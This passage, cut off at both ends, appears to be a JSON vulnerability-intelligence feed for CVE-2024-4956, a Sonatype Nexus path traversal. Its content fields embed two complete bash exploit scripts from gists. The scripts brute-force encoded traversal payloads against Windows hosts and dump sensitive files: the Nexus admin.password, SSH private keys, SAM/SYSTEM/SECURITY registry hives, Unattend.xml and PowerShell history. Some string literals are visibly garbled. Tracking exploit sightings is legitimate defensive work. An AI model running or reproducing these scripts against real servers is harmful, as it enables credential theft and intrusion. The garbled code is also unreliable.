Files/nexus/sonatype-work/nexus3/etc/nexus-default.properties\"\n    \"Program Files/nexus/sonatype-work/nexus3/log/nexus.log\"\n    \"Program Files/nexus/sonatype-work/nexus3/etc/fabric/nexus-store.properties\"\n    \"Program Files/nexus/etc/nexus-default.properties\"\n    \"Program Files/nexus/bin/nexus.vmoptions\"\n\n    # Sonatype under Program Files\n    \"Program Files/sonatype/nexus/sonatype-work/nexus3/etc/nexus.properties\"\n    \"Program Files/sonatype/nexus/sonatype-work/nexus3/admin.password\"\n    \"Program Files/sonatype/sonatype-work/nexus3/etc/nexus.properties\"\n    \"Program Files/sonatype/sonatype-work/nexus3/admin.password\"\n\n    # Standalone sonatype-work at root\n    \"sonatype-work/nexus3/etc/nexus.properties\"\n    \"sonatype-work/nexus3/admin.password\"\n    \"sonatype-work/nexus3/etc/nexus-default.properties\"\n    \"sonatype-work/nexus3/log/nexus.log\"\n    \"sonatype-work/nexus3/etc/fabric/nexus-store.properties\"\n    \"sonatype-work/nexus3/db/security\"\n\n    # nexus3 variations (flattened)\n    \"nexus3/etc/nexus.properties\"\n    \"nexus3/admin.password\"\n    \"nexus3/etc/nexus-default.properties\"\n    \"nexus3/log/nexus.log\"\n\n    # opt style (sometimes mimicked on Windows)\n    \"opt/sonatype/sonatype-work/nexus3/etc/nexus.properties\"\n    \"opt/sonatype/sonatype-work/nexus3/admin.password\"\n\n    # === SONARQUBE CONFIG ===\n    \"sonarqube/conf/sonar.properties\"\n    \"sonarqube/conf/wrapper.conf\"\n    \"sonarqube/logs/sonar.log\"\n    \"sonarqube/logs/web.log\"\n    \"sonarqube/logs/ce.log\"\n    \"sonarqube/logs/es.log\"\n    \"Program Files/sonarqube/conf/sonar.properties\"\n    \"Program Files/sonarqube/conf/wrapper.conf\"\n    \"Program Files/SonarQube/conf/sonar.properties\"\n    \"Program Files/SonarQube/conf/wrapper.conf\"\n    \"SonarQube/conf/sonar.properties\"\n    \"opt/sonarqube/conf/sonar.properties\"\n\n    # === USERS & CREDENTIALS ===\n    \"Users/Administrator/.ssh/id_rsa\"\n    \"Users/Administrator/.ssh/authorized_keys\"\n    \"Users/Administrator/Desktop/flag.txt\"\n    \"Users/Administrator/Desktop/root.txt\"\n    \"Users/Administrator/.bash_history\"\n    \"Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt\"\n    \"Users/nexus/.ssh/id_rsa\"\n    \"Users/nexus/Desktop/flag.txt\"\n    \"Users/sonar/.ssh/id_rsa\"\n    \"Users/sonar/Desktop/flag.txt\"\n    \"Users/svc_nexus/.ssh/id_rsa\"\n    \"Users/svc_sonar/.ssh/id_rsa\"\n\n    # All users PS history\n    \"Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt\"\n\n    # === IIS / WEB CONFIG ===\n    \"inetpub/wwwroot/web.config\"\n    \"inetpub/wwwroot/appsettings.json\"\n\n    # === SYSTEM FILES ===\n    \"Windows/debug/NetSetup.LOG\"\n    \"Windows/System32/inetsrv/config/applicationHost.config\"\n    \"Windows/repair/SAM\"\n    \"Windows/repair/SYSTEM\"\n    \"Windows/Panther/Unattend.xml\"\n    \"Windows/Panther/unattend.xml\"\n    \"Windows/Panther/Unattended.xml\"\n    \"Windows/Panther/unattend/Unattend.xml\"\n    \"Windows/System32/sysprep/Unattend.xml\"\n    \"Windows/System32/sysprep/unattend.xml\"\n    \"ProgramData/unattend.xml\"\n    \"Windows/System32/config/SAM\"\n    \"Windows/System32/config/SYSTEM\"\n    \"Windows/System32/config/SECURITY\"\n)\n\n# C:\\ prefixed versions (url-encoded C: = C%3A or just C:)\nWIN_FILES_CDRIVE=(\n    \"C:/Windows/win.ini\"\n    \"C:/Windows/System32/drivers/etc/hosts\"\n    \"C:/nexus/sonatype-work/nexus3/etc/nexus.properties\"\n    \"C:/nexus/sonatype-work/nexus3/admin.password\"\n    \"C:/sonatype-work/nexus3/etc/nexus.properties\"\n    \"C:/sonatype-work/nexus3/admin.password\"\n    \"C:/Program Files/nexus/sonatype-work/nexus3/etc/nexus.properties\"\n    \"C:/Program Files/nexus/sonatype-work/nexus3/admin.password\"\n    \"C:/sonarqube/conf/sonar.properties\"\n    \"C:/Program Files/sonarqube/conf/sonar.properties\"\n    \"C:/Users/Administrator/Desktop/flag.txt\"\n    \"C:/Windows/Panther/Unattend.xml\"\n)\n\nexploit_single() {\n    local base_url=\"$1\"\n    local traversal=\"$2\"\n    local filepath=\"$3\"\n    local encoded_file=$(echo \"$filepath\" | sed 's/ /%20/g; s/\\//%2F/g')\n    local url=\"${base_url}${traversal}%2F${encoded_file}\"\n\n    response=$(curl -s -o /dev/null -w \"%{http_code}:%{size_download}\" --path-as-is -k \"$url\" 2>/dev/null)\n    local code=\"${response%%:*}\"\n    local size=\"${response##*:}\"\n\n    if [[ \"$code\" == \"200\" && \"$size\" -gt 0 ]]; then\n        content=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        # Filter out empty/default error pages\n        if [[ -n \"$content\" && ! \"$content\" =~ \"Nexus Repository Manager\" && ! \"$content\" =~ \" \"lfi_${safe_name}.txt\"\n            return 0\n        fi\n    fi\n    return 1\n}\n\nscan_mode() {\n    local base_url=\"$1\"\n    local found=0\n\n    echo -e \"${YELLOW}[*] Phase 1: Finding working traversal depth with win.ini...${NC}\"\n    local working_traversal=\"\"\n\n    for trav in \"${TRAVERSALS[@]}\"; do\n        local url=\"${base_url}${trav}%2FWindows%2Fwin.ini\"\n        response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        if [[ \"$response\" =~ \"[fonts]\" || \"$response\" =~ \"[extensions]\" ]]; then\n            echo -e \"${GREEN}[+] VULNERABLE! Working traversal found${NC}\"\n            echo -e \"${GREEN}    Traversal: ${trav}${NC}\"\n            echo -e \"${CYAN}${response}${NC}\"\n            working_traversal=\"$trav\"\n            break\n        fi\n    done\n\n    # Also try C: prefixed\n    if [[ -z \"$working_traversal\" ]]; then\n        echo -e \"${YELLOW}[*] Trying C: prefixed paths...${NC}\"\n        for trav in \"${TRAVERSALS[@]}\"; do\n            local url=\"${base_url}${trav}%2FC%3A%2FWindows%2Fwin.ini\"\n            response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n            if [[ \"$response\" =~ \"[fonts]\" || \"$response\" =~ \"[extensions]\" ]]; then\n                echo -e \"${GREEN}[+] VULNERABLE with C: prefix!${NC}\"\n                echo -e \"${GREEN}    Traversal: ${trav} + C:${NC}\"\n                working_traversal=\"${trav}__CDRIVE__\"\n                break\n            fi\n        done\n    fi\n\n    # Also try backslash-encoded paths\n    if [[ -z \"$working_traversal\" ]]; then\n        echo -e \"${YELLOW}[*] Trying backslash-encoded traversals...${NC}\"\n        for trav in \"${TRAVERSALS[@]}\"; do\n            local url=\"${base_url}${trav}%5CWindows%5Cwin.ini\"\n            response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n            if [[ \"$response\" =~ \"[fonts]\" || \"$response\" =~ \"[extensions]\" ]]; then\n                echo -e \"${GREEN}[+] VULNERABLE with backslash encoding!${NC}\"\n                working_traversal=\"${trav}__BACKSLASH__\"\n                break\n            fi\n        done\n    fi\n\n    if [[ -z \"$working_traversal\" ]]; then\n        echo -e \"${RED}[-] No working traversal found. Target may not be vulnerable.${NC}\"\n        echo -e \"${YELLOW}[*] Trying all combinations brute force anyway...${NC}\"\n        # Brute force: try first 3 traversals against high-value targets\n        for trav in \"${TRAVERSALS[@]:0:5}\"; do\n            for filepath in \"Windows/win.ini\" \"nexus/sonatype-work/nexus3/admin.password\" \\\n                            \"sonatype-work/nexus3/admin.password\" \"nexus3/admin.password\" \\\n                            \"sonarqube/conf/sonar.properties\"; do\n                exploit_single \"$base_url\" \"$trav\" \"$filepath\" && ((found++))\n                # C: prefix\n                exploit_single \"$base_url\" \"$trav\" \"C:/${filepath}\" && ((found++))\n            done\n        done\n        echo -e \"${YELLOW}[*] Brute force done. ${found} hits.${NC}\"\n        return\n    fi\n\n    echo \"\"\n    echo -e \"${YELLOW}[*] Phase 2: Dumping files with working traversal...${NC}\"\n    echo \"\"\n\n    if [[ \"$working_traversal\" == *\"__CDRIVE__\"* ]]; then\n        local real_trav=\"${working_traversal/__CDRIVE__/}\"\n        for filepath in \"${WIN_FILES_CDRIVE[@]}\"; do\n            local encoded_file=$(echo \"$filepath\" | sed 's/ /%20/g; s/\\//%2F/g; s/:/%3A/g')\n            local url=\"${base_url}${real_trav}%2F${encoded_file}\"\n            response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n            local size=${#response}\n            if [[ \"$size\" -gt 0 && ! \"$response\" =~ \"Nexus Repository Manager\" && ! \"$response\" =~ \" \"lfi_${safe_name}.txt\"\n                ((found++))\n            fi\n        done\n    elif [[ \"$working_traversal\" == *\"__BACKSLASH__\"* ]]; then\n        local real_trav=\"${working_traversal/__BACKSLASH__/}\"\n        for filepath in \"${WIN_FILES[@]}\"; do\n            local encoded_file=$(echo \"$filepath\" | sed 's/ /%20/g; s/\\//%5C/g')\n            local url=\"${base_url}${real_trav}%5C${encoded_file}\"\n            response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n            local size=${#response}\n            if [[ \"$size\" -gt 0 && ! \"$response\" =~ \"Nexus Repository Manager\" && ! \"$response\" =~ \" \"lfi_${safe_name}.txt\"\n                ((found++))\n            fi\n        done\n    else\n        # Standard forward-slash traversal\n        for filepath in \"${WIN_FILES[@]}\"; do\n            exploit_single \"$base_url\" \"$working_traversal\" \"$filepath\" && ((found++))\n        done\n        # Also try C: prefixed\n        echo -e \"${YELLOW}[*] Phase 3: Trying C: prefixed paths...${NC}\"\n        for filepath in \"${WIN_FILES_CDRIVE[@]}\"; do\n            local encoded_file=$(echo \"$filepath\" | sed 's/ /%20/g; s/\\//%2F/g; s/:/%3A/g')\n            local url=\"${base_url}${working_traversal}%2F${encoded_file}\"\n            response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n            local size=${#response}\n            if [[ \"$size\" -gt 0 && ! \"$response\" =~ \"Nexus Repository Manager\" && ! \"$response\" =~ \" \"lfi_${safe_name}.txt\"\n                ((found++))\n            fi\n        done\n    fi\n\n    echo \"\"\n    echo -e \"${YELLOW}[*] Scan complete. ${found} files retrieved.${NC}\"\n}\n\nsingle_mode() {\n    local base_url=\"$1\"\n    local filepath=\"$2\"\n    local found=0\n\n    echo -e \"${YELLOW}[*] Trying all traversal variations for: ${filepath}${NC}\"\n    for trav in \"${TRAVERSALS[@]}\"; do\n        exploit_single \"$base_url\" \"$trav\" \"$filepath\" && ((found++))\n    done\n\n    if [[ \"$found\" -eq 0 ]]; then\n        echo -e \"${RED}[-] No hits for ${filepath}${NC}\"\n    fi\n}\n\nusage() {\n    echo \"CVE-2024-4956 - Nexus Repository Manager LFI (Windows)\"\n    echo \"\"\n    echo \"Usage:\"\n    echo \"  $0 -u http://TARGET:PORT              # Auto-scan with embedded wordlist\"\n    echo \"  $0 -u http://TARGET:PORT -f FILE       # Single file mode\"\n    echo \"\"\n    echo \"Examples:\"\n    echo \"  $0 -u http://172.16.210.21:8081\"\n    echo \"  $0 -u http://172.16.210.21:8081 -f Windows/win.ini\"\n}\n\nmain() {\n    local target_url=\"\"\n    local target_file=\"\"\n\n    while getopts \"u:f:h\" opt; do\n        case $opt in\n            u) target_url=\"$OPTARG\" ;;\n            f) target_file=\"$OPTARG\" ;;\n            h) usage; exit 0 ;;\n            *) usage; exit 1 ;;\n        esac\n    done\n\n    if [[ -z \"$target_url\" ]]; then\n        usage\n        exit 1\n    fi\n\n    # Strip trailing slash\n    target_url=\"${target_url%/}\"\n\n    echo -e \"${CYAN}=== CVE-2024-4956 Nexus LFI - Windows Mode ===${NC}\"\n    echo -e \"${CYAN}Target: ${target_url}${NC}\"\n    echo \"\"\n\n    if [[ -n \"$target_file\" ]]; then\n        single_mode \"$target_url\" \"$target_file\"\n    else\n        scan_mode \"$target_url\"\n    fi\n}\n\nmain \"$@\"", "url": "https://gist.github.com/stillbigjosh/345cd67cfb56e7e4f4f7eb9da9c20127"}, {"timestamp": "2026-06-23T10:32:33Z", "date_only": false, "value": "2026-06-23T10:32:33.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/stillbigjosh/a38ecd1d3c1e02fe2a848c4f8851565c", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "f1e80816-7552-4af1-89a6-0995da840b6a", "content": "#!/bin/bash\n# CVE-2024-4956 - Sonatype Nexus Repository Manager Path Traversal\n# Windows backslash version\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nCYAN='\\033[0;36m'\nNC='\\033[0m'\n\n# ..\\ = ..%5C | ..\\\\ = ..%5C%5C\nTRAVERSALS=(\n    # ..%5C (single backslash) - varying depths\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..\"\n    # More leading slashes + ..%5C\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..\"\n    # ..%5C%5C (double backslash) - varying depths\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..\"\n    # More leading slashes + ..%5C%5C\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%5C%5C..%5C%5C..%5C%5C..%5C%5C..\"\n    # Mixed: ..%5C with %2F separators in file path\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..%5C..%5C\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C\"\n    # Raw dot-dot-backslash (not encoded, curl may handle it)\n    \"/%2F%2F%2F%2F%2F%2F%2F..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..%00\"\n    # Forward slash traversal kept as fallback\n    \"/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n    \"/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..\"\n)\n\n# File paths using backslash separator (will be encoded to %5C)\nWIN_FILES_BACKSLASH=(\n    # === PROOF ===\n    'Windows\\win.ini'\n    'Windows\\System32\\drivers\\etc\\hosts'\n    'Windows\\System32\\license.rtl'\n\n    # === NEXUS - root install ===\n    'nexus\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'nexus\\sonatype-work\\nexus3\\admin.password'\n    'nexus\\sonatype-work\\nexus3\\etc\\nexus-default.properties'\n    'nexus\\sonatype-work\\nexus3\\log\\nexus.log'\n    'nexus\\sonatype-work\\nexus3\\etc\\fabric\\nexus-store.properties'\n    'nexus\\sonatype-work\\nexus3\\db\\security'\n    'nexus\\sonatype-work\\nexus3\\keystores\\node\\keystore.properties'\n    'nexus\\etc\\nexus-default.properties'\n    'nexus\\bin\\nexus.vmoptions'\n\n    # === NEXUS - Program Files ===\n    'Program Files\\nexus\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'Program Files\\nexus\\sonatype-work\\nexus3\\admin.password'\n    'Program Files\\nexus\\sonatype-work\\nexus3\\etc\\nexus-default.properties'\n    'Program Files\\nexus\\sonatype-work\\nexus3\\log\\nexus.log'\n    'Program Files\\nexus\\sonatype-work\\nexus3\\etc\\fabric\\nexus-store.properties'\n    'Program Files\\nexus\\etc\\nexus-default.properties'\n    'Program Files\\nexus\\bin\\nexus.vmoptions'\n\n    # === NEXUS - Sonatype dir ===\n    'Program Files\\sonatype\\nexus\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'Program Files\\sonatype\\nexus\\sonatype-work\\nexus3\\admin.password'\n    'Program Files\\sonatype\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'Program Files\\sonatype\\sonatype-work\\nexus3\\admin.password'\n\n    # === NEXUS - standalone sonatype-work ===\n    'sonatype-work\\nexus3\\etc\\nexus.properties'\n    'sonatype-work\\nexus3\\admin.password'\n    'sonatype-work\\nexus3\\etc\\nexus-default.properties'\n    'sonatype-work\\nexus3\\log\\nexus.log'\n    'sonatype-work\\nexus3\\etc\\fabric\\nexus-store.properties'\n    'sonatype-work\\nexus3\\db\\security'\n\n    # === NEXUS - flat ===\n    'nexus3\\etc\\nexus.properties'\n    'nexus3\\admin.password'\n    'nexus3\\etc\\nexus-default.properties'\n    'nexus3\\log\\nexus.log'\n\n    # === SONARQUBE ===\n    'sonarqube\\conf\\sonar.properties'\n    'sonarqube\\conf\\wrapper.conf'\n    'sonarqube\\logs\\sonar.log'\n    'sonarqube\\logs\\web.log'\n    'Program Files\\sonarqube\\conf\\sonar.properties'\n    'Program Files\\sonarqube\\conf\\wrapper.conf'\n    'Program Files\\SonarQube\\conf\\sonar.properties'\n    'SonarQube\\conf\\sonar.properties'\n\n    # === USERS ===\n    'Users\\Administrator\\.ssh\\id_rsa'\n    'Users\\Administrator\\.ssh\\authorized_keys'\n    'Users\\Administrator\\Desktop\\flag.txt'\n    'Users\\Administrator\\Desktop\\root.txt'\n    'Users\\Administrator\\Desktop\\proof.txt'\n    'Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt'\n    'Users\\nexus\\.ssh\\id_rsa'\n    'Users\\nexus\\Desktop\\flag.txt'\n    'Users\\sonar\\.ssh\\id_rsa'\n    'Users\\sonar\\Desktop\\flag.txt'\n    'Users\\svc_nexus\\.ssh\\id_rsa'\n    'Users\\svc_nexus\\Desktop\\flag.txt'\n    'Users\\svc_sonar\\.ssh\\id_rsa'\n\n    # === SYSTEM CREDS ===\n    'Windows\\Panther\\Unattend.xml'\n    'Windows\\Panther\\unattend.xml'\n    'Windows\\Panther\\Unattended.xml'\n    'Windows\\Panther\\unattend\\Unattend.xml'\n    'Windows\\System32\\sysprep\\Unattend.xml'\n    'Windows\\System32\\sysprep\\unattend.xml'\n    'ProgramData\\unattend.xml'\n    'Windows\\repair\\SAM'\n    'Windows\\repair\\SYSTEM'\n    'Windows\\debug\\NetSetup.LOG'\n    'Windows\\System32\\inetsrv\\config\\applicationHost.config'\n    'Windows\\System32\\config\\SAM'\n    'Windows\\System32\\config\\SYSTEM'\n    'Windows\\System32\\config\\SECURITY'\n    'Windows\\System32\\config\\RegBack\\SAM'\n    'Windows\\System32\\config\\RegBack\\SYSTEM'\n\n    # === IIS ===\n    'inetpub\\wwwroot\\web.config'\n    'inetpub\\wwwroot\\appsettings.json'\n)\n\n# Same paths with C:\\ prefix\nWIN_FILES_CDRIVE=(\n    'C:\\Windows\\win.ini'\n    'C:\\Windows\\System32\\drivers\\etc\\hosts'\n    'C:\\nexus\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'C:\\nexus\\sonatype-work\\nexus3\\admin.password'\n    'C:\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'C:\\sonatype-work\\nexus3\\admin.password'\n    'C:\\Program Files\\nexus\\sonatype-work\\nexus3\\etc\\nexus.properties'\n    'C:\\Program Files\\nexus\\sonatype-work\\nexus3\\admin.password'\n    'C:\\sonarqube\\conf\\sonar.properties'\n    'C:\\Program Files\\sonarqube\\conf\\sonar.properties'\n    'C:\\Users\\Administrator\\Desktop\\flag.txt'\n    'C:\\Windows\\Panther\\Unattend.xml'\n    'C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt'\n)\n\nencode_backslash_path() {\n    # Encode \\ to %5C and spaces to %20\n    echo \"$1\" | sed 's/\\\\/\\%5C/g; s/ /%20/g'\n}\n\nencode_forwardslash_path() {\n    # Convert \\ to / then encode / to %2F and spaces to %20\n    echo \"$1\" | sed 's/\\\\/\\//g; s/\\//%2F/g; s/ /%20/g'\n}\n\nencode_cdrive_path() {\n    # C: becomes C%3A, \\ becomes %5C, spaces become %20\n    echo \"$1\" | sed 's/C:/C%3A/g; s/\\\\/\\%5C/g; s/ /%20/g'\n}\n\ntry_fetch() {\n    local url=\"$1\"\n    local label=\"$2\"\n    local response\n    response=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n    local size=${#response}\n\n    if [[ \"$size\" -gt 0 && ! \"$response\" =~ \"Nexus Repository Manager\" && ! \"$response\" =~ \" \"lfi_${safe_name}.txt\"\n        return 0\n    fi\n    return 1\n}\n\nscan() {\n    local base_url=\"$1\"\n    local found=0\n    local working_trav=\"\"\n    local working_encode=\"\" # backslash, forwardslash, or cdrive\n\n    echo -e \"${CYAN}=== CVE-2024-4956 Nexus LFI - Windows Backslash Mode ===${NC}\"\n    echo -e \"${CYAN}Target: ${base_url}${NC}\"\n    echo \"\"\n\n    # Phase 1: Find working traversal + encoding combo\n    echo -e \"${YELLOW}[*] Phase 1: Probing traversal depth & encoding with win.ini...${NC}\"\n\n    for trav in \"${TRAVERSALS[@]}\"; do\n        # Try backslash-encoded file path: Windows%5Cwin.ini\n        url=\"${base_url}${trav}%5CWindows%5Cwin.ini\"\n        resp=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        if [[ \"$resp\" =~ \"[fonts]\" || \"$resp\" =~ \"[extensions]\" ]]; then\n            echo -e \"${GREEN}[+] VULNERABLE! Backslash encoding works${NC}\"\n            echo -e \"${GREEN}    Traversal: ${trav}${NC}\"\n            working_trav=\"$trav\"\n            working_encode=\"backslash\"\n            break\n        fi\n\n        # Try forward-slash file path: Windows%2Fwin.ini\n        url=\"${base_url}${trav}%2FWindows%2Fwin.ini\"\n        resp=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        if [[ \"$resp\" =~ \"[fonts]\" || \"$resp\" =~ \"[extensions]\" ]]; then\n            echo -e \"${GREEN}[+] VULNERABLE! Forward-slash encoding works${NC}\"\n            echo -e \"${GREEN}    Traversal: ${trav}${NC}\"\n            working_trav=\"$trav\"\n            working_encode=\"forwardslash\"\n            break\n        fi\n\n        # Try C: prefix: C%3A%5CWindows%5Cwin.ini\n        url=\"${base_url}${trav}%5CC%3A%5CWindows%5Cwin.ini\"\n        resp=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        if [[ \"$resp\" =~ \"[fonts]\" || \"$resp\" =~ \"[extensions]\" ]]; then\n            echo -e \"${GREEN}[+] VULNERABLE! C: + backslash encoding works${NC}\"\n            echo -e \"${GREEN}    Traversal: ${trav}${NC}\"\n            working_trav=\"$trav\"\n            working_encode=\"cdrive\"\n            break\n        fi\n\n        # C: with forward slash\n        url=\"${base_url}${trav}%2FC%3A%2FWindows%2Fwin.ini\"\n        resp=$(curl -s --path-as-is -k \"$url\" 2>/dev/null)\n        if [[ \"$resp\" =~ \"[fonts]\" || \"$resp\" =~ \"[extensions]\" ]]; then\n            echo -e \"${GREEN}[+] VULNERABLE! C: + forward-slash encoding works${NC}\"\n            echo -e \"${GREEN}    Traversal: ${trav}${NC}\"\n            working_trav=\"$trav\"\n            working_encode=\"cdrive_fwd\"\n            break\n        fi\n    done\n\n    if [[ -z \"$working_trav\" ]]; then\n        echo -e \"${RED}[-] No working traversal found with win.ini probe.${NC}\"\n        echo -e \"${YELLOW}[*] Brute-forcing high-value targets across all combos...${NC}\"\n\n        for trav in \"${TRAVERSALS[@]}\"; do\n            for filepath in \"${WIN_FILES_BACKSLASH[@]}\"; do\n                encoded=$(encode_backslash_path \"$filepath\")\n                try_fetch \"${base_url}${trav}%5C${encoded}\" \"[bs] ${filepath}\" && ((found++))\n\n                encoded=$(encode_forwardslash_path \"$filepath\")\n                try_fetch \"${base_url}${trav}%2F${encoded}\" \"[fs] ${filepath}\" && ((found++))\n\n                [[ \"$found\" -gt 0 ]] && break 2\n            done\n        done\n\n        echo -e \"${YELLOW}[*] Done. ${found} hits.${NC}\"\n        return\n    fi\n\n    echo \"\"\n    echo -e \"${YELLOW}[*] Phase 2: Dumping files (${working_encode} encoding)...${NC}\"\n    echo \"\"\n\n    case \"$working_encode\" in\n        backslash)\n            for filepath in \"${WIN_FILES_BACKSLASH[@]}\"; do\n                encoded=$(encode_backslash_path \"$filepath\")\n                try_fetch \"${base_url}${working_trav}%5C${encoded}\" \"$filepath\" && ((found++))\n            done\n            # Also try C: paths\n            echo -e \"${YELLOW}[*] Phase 3: C: prefixed paths...${NC}\"\n            for filepath in \"${WIN_FILES_CDRIVE[@]}\"; do\n                encoded=$(encode_cdrive_path \"$filepath\")\n                try_fetch \"${base_url}${working_trav}%5C${encoded}\" \"$filepath\" && ((found++))\n            done\n            ;;\n        forwardslash)\n            for filepath in \"${WIN_FILES_BACKSLASH[@]}\"; do\n                encoded=$(encode_forwardslash_path \"$filepath\")\n                try_fetch \"${base_url}${working_trav}%2F${encoded}\" \"$filepath\" && ((found++))\n            done\n            ;;\n        cdrive)\n            for filepath in \"${WIN_FILES_CDRIVE[@]}\"; do\n                encoded=$(encode_cdrive_path \"$filepath\")\n                try_fetch \"${base_url}${working_trav}%5C${encoded}\" \"$filepath\" && ((found++))\n            done\n            ;;\n        cdrive_fwd)\n            for filepath in \"${WIN_FILES_CDRIVE[@]}\"; do\n                encoded=$(echo \"$filepath\" | sed 's/C:/C%3A/g; s/\\\\/\\//g; s/\\//%2F/g; s/ /%20/g')\n                try_fetch \"${base_url}${working_trav}%2F${encoded}\" \"$filepath\" && ((found++))\n            done\n            ;;\n    esac\n\n    echo \"\"\n    echo -e \"${YELLOW}[*] Scan complete. ${found} files retrieved.${NC}\"\n}\n\nsingle_file() {\n    local base_url=\"$1\"\n    local filepath=\"$2\"\n    local found=0\n\n    echo -e \"${YELLOW}[*] Testing all traversals for: ${filepath}${NC}\"\n    for trav in \"${TRAVERSALS[@]}\"; do\n        # Backslash encoded\n        encoded=$(encode_backslash_path \"$filepath\")\n        try_fetch \"${base_url}${trav}%5C${encoded}\" \"[bs] $filepath\" && ((found++))\n\n        # Forward slash encoded\n        encoded=$(encode_forwardslash_path \"$filepath\")\n        try_fetch \"${base_url}${trav}%2F${encoded}\" \"[fs] $filepath\" && ((found++))\n\n        # C: backslash\n        encoded=$(encode_cdrive_path \"$filepath\")\n        try_fetch \"${base_url}${trav}%5C${encoded}\" \"[C:bs] $filepath\" && ((found++))\n    done\n\n    [[ \"$found\" -eq 0 ]] && echo -e \"${RED}[-] No hits.${NC}\"\n}\n\n# --- MAIN ---\ntarget_url=\"\"\ntarget_file=\"\"\n\nwhile getopts \"u:f:h\" opt; do\n    case $opt in\n        u) target_url=\"$OPTARG\" ;;\n        f) target_file=\"$OPTARG\" ;;\n        h) echo \"Usage: $0 -u http://TARGET:PORT [-f 'Windows\\win.ini']\"; exit 0 ;;\n        *) echo \"Usage: $0 -u http://TARGET:PORT [-f 'Windows\\win.ini']\"; exit 1 ;;\n    esac\ndone\n\n[[ -z \"$target_url\" ]] && { echo \"Usage: $0 -u http://TARGET:PORT [-f FILE]\"; exit 1; }\ntarget_url=\"${target_url%/}\"\n\nif [[ -n \"$target_file\" ]]; then\n    single_file \"$target_url\" \"$target_file\"\nelse\n    scan \"$target_url\"\nfi", "url": "https://gist.github.com/stillbigjosh/a38ecd1d3c1e02fe2a848c4f8851565c"}, {"timestamp": "2026-07-26T02:00:22.824Z", "date_only": false, "value": "2026-07-26T02:00:22.824883Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/430", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "924cc92f-1101-4747-922a-94f2f88747c0", "content": "https://github.com/gmh5225/CVE-2024-4956", "url": "https://t.me/cyberwarehouse/430"}, {"timestamp": "2026-07-27T00:00:20.655Z", "date_only": false, "value": "2026-07-27T00:00:20.655204Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/430", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": 